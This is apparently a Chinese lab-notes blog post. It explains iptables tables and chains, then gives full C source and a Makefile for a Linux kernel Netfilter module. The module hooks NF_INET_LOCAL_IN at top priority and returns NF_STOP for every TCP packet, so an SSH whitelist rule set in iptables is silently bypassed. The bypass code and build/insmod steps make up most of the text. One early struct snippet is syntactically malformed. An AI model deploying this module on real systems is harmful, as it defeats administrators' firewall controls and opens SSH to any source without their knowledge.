Netfilter and Iptables:netfilter模块绕过iptables规则
前言
本文介绍如何通过加载netfilter模块,使得不用修改iptables即可绕过规则。
本文为实验笔记,所以不对Netfilter以及iptsables进行过多的介绍,读者请先查阅相关知识再阅读本文。
iptables 介绍及技术原理
优先级次序(由高而低):
raw --> mangle --> nat --> filter
filter 表:负责过滤功能,防火墙;内核模块:iptables_filter
nat 表:network address translation,网络地址转换功能;内核模块:iptable_nat
mangle 表:拆解报文,做出修改,并重新封装 的功能;iptable_mangle
raw 表:关闭nat表上启用的连接追踪机制;iptable_raw
PREROUTING 的规则可以存在于:raw表,mangle表,nat表。
INPUT 的规则可以存在于:mangle表,filter表,(centos7中还有nat表,
centos6中没有)。
FORWARD 的规则可以存在于:mangle表,filter表。
OUTPUT 的规则可以存在于:raw表mangle表,nat表,filter表。
POSTROUTING 的规则可以存在于:mangle表,nat表。
raw 表中的规则可以被哪些链使用:PREROUTING,OUTPUT
mangle 表中的规则可以被哪些链使用:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
nat 表中的规则可以被哪些链使用:PREROUTING,OUTPUT,POSTROUTING(centos7中还有INPUT,centos6中没有)
filter 表中的规则可以被哪些链使用:INPUT,FORWARD,OUTPUT
我们可以将数据包通过防火墙的流程总结为下图:
如何绕过iptables规则?
有如下场景:
centos7主机限制了ssh的22端口的登录,只能由特定的ip登录
iptables规则如下:
首先在INPUT链中丢弃了所有通往22端口的tcp包
iptables -I INPUT -p tcp --dport 22 -j DROP
然后设置白名单,只允许某一特定ip通过
iptables -I INPUT -s 192.168.71.1 -p tcp --dport 22 -j ACCEPT
从上面的命令中我们可以分析出,INPUT链中新添加了两条规则,拒绝所有的包以及设置白名单,-I参数表示插入,后面的白名单规则的优先级会高于前面的规则,所以iptables会首先放行来自192.168.71.1的TCP包,而来自其它ip的通往22端口的tcp包则会被另一条规则drop掉,从而达到22端口限制ip登录的功能。
接下来我们编写Netfilter模块,绕过iptables规则,使得任意ip都可以登录ssh
iptables的 INPUT 链对应 Netfilter 的HOOK点为 NF_INET_LOCAL_IN,iptables -I INPUT -s 192.168.71.1 -p tcp --dport 22 -j ACCEPT 这条规则就相当于使用netfilter 在NF_INET_LOCAL_IN hook点注册了一个回调函数,这个函数只允许该ip的数据包通过,iptables的源码其实也是这么做的
所以我们的 nf_hook_ops 结构体将像下面这样初始化:
static struct nf_hook_ops anyssh_ops = {
/* Fill in our hook structure */
nfho.hook = hook_func;
/* Handler function */
nfho.hooknum = NF_INET_LOCAL_IN;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */
}
hook回调函数:
我们过滤了tcp数据包,并且将所有的tcp包都返回 NF_STOP
NF_STOP表示报文通过了某个钩子函数的处理,后面的钩子函数你们就不要处理了,谁让你的优先级低呢,我就可以替你做主。假设NF_INET_LOCAL_IN中注册了两个钩子函数hook1和hook2,hook1的优先级高于hook2,hook2设定的处理结果是NF_DROP。如果hook1设定的处理结果是NF_ACCEPT,那么报文就不会递交给应用程序,因为hook2会把报文丢弃掉。如果hook1设定的处理结果是NF_STOP,那么报文就会提交给应用程序,因为hook1放行了,根本不会给hook2处理的机会。这个机制只在一个HOOK点的函数链中生效。也就是说iptables规则假设所处于的链为INPUT,则netfiler hook函数必须处于NF_INET_LOCAL_IN。
这么做的原因就是为了让iptables的规则失效,由于我们设置了 nfho.priority = NF_IP_PRI_FIRST; 我们的hook函数在INPUT这个链中处于最高优先级,只要直接返回NF_STOP,就没有后面iptbales什么事了,也就达到了任意ip都可以登录ssh的目的。
unsigned int hook_func(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct iphdr *ip1 = NULL;
if (!skb){
return NF_ACCEPT;
}
ip1 = ip_hdr(skb);
if (NULL != ip1){
if (IPPROTO_TCP == ip1->protocol){
printk("tcp,STOP\n");
return NF_STOP;
}
}else{
printk("null!\n");
}
return NF_ACCEPT;
}
完整Demo:
以下代码接管了所有tcp流量并return NF_STOP,读者可以参考添加更多过滤规则 比如过滤特定端口 或者特定ip等等
filter_tcp.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h> /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
unsigned int hook_func(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct iphdr *ip1 = NULL;
if (!skb){
return NF_ACCEPT;
}
ip1 = ip_hdr(skb);
if (NULL != ip1){
if (IPPROTO_TCP == ip1->protocol){
printk("tcp,drop\n");
//return NF_DROP;
return NF_STOP;
}
}else{
printk("null!\n");
}
return NF_ACCEPT;
}
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func;
/* Handler function */
//nfho.hooknum = NF_INET_PRE_ROUTING; /* First for IPv4 */
nfho.hooknum = NF_INET_LOCAL_IN;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */
printk("init_module,filter_tcp\n");
nf_register_hook(&nfho);
return 0;
}
/* Cleanup routine */
void cleanup_module()
{
printk("cleanup_module,filter_tcp\n");
nf_unregister_hook(&nfho);
}
Makefile
MODULE_NAME:=filter_tcp
ifneq ($(KERNELRELEASE),)
mymodule-objs:=${MODULE_NAME}.o
obj-m:=${MODULE_NAME}.o
else
PWD:=$(shell pwd)
KVER:=$(shell uname -r)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD)
#clean:
@rm -rf .*.com *.o *.mod.c .tmp_versions modules.order Module.symvers
install:
echo ${KDIR}
@insmod ${MODULE_NAME}.ko
uninstall:
@rmmod ${MODULE_NAME}.ko
endif
参考链接:
http://www.zsythink.net/archives/1199
转载请注明出处
安全编程交流:NzgyNDIxODg3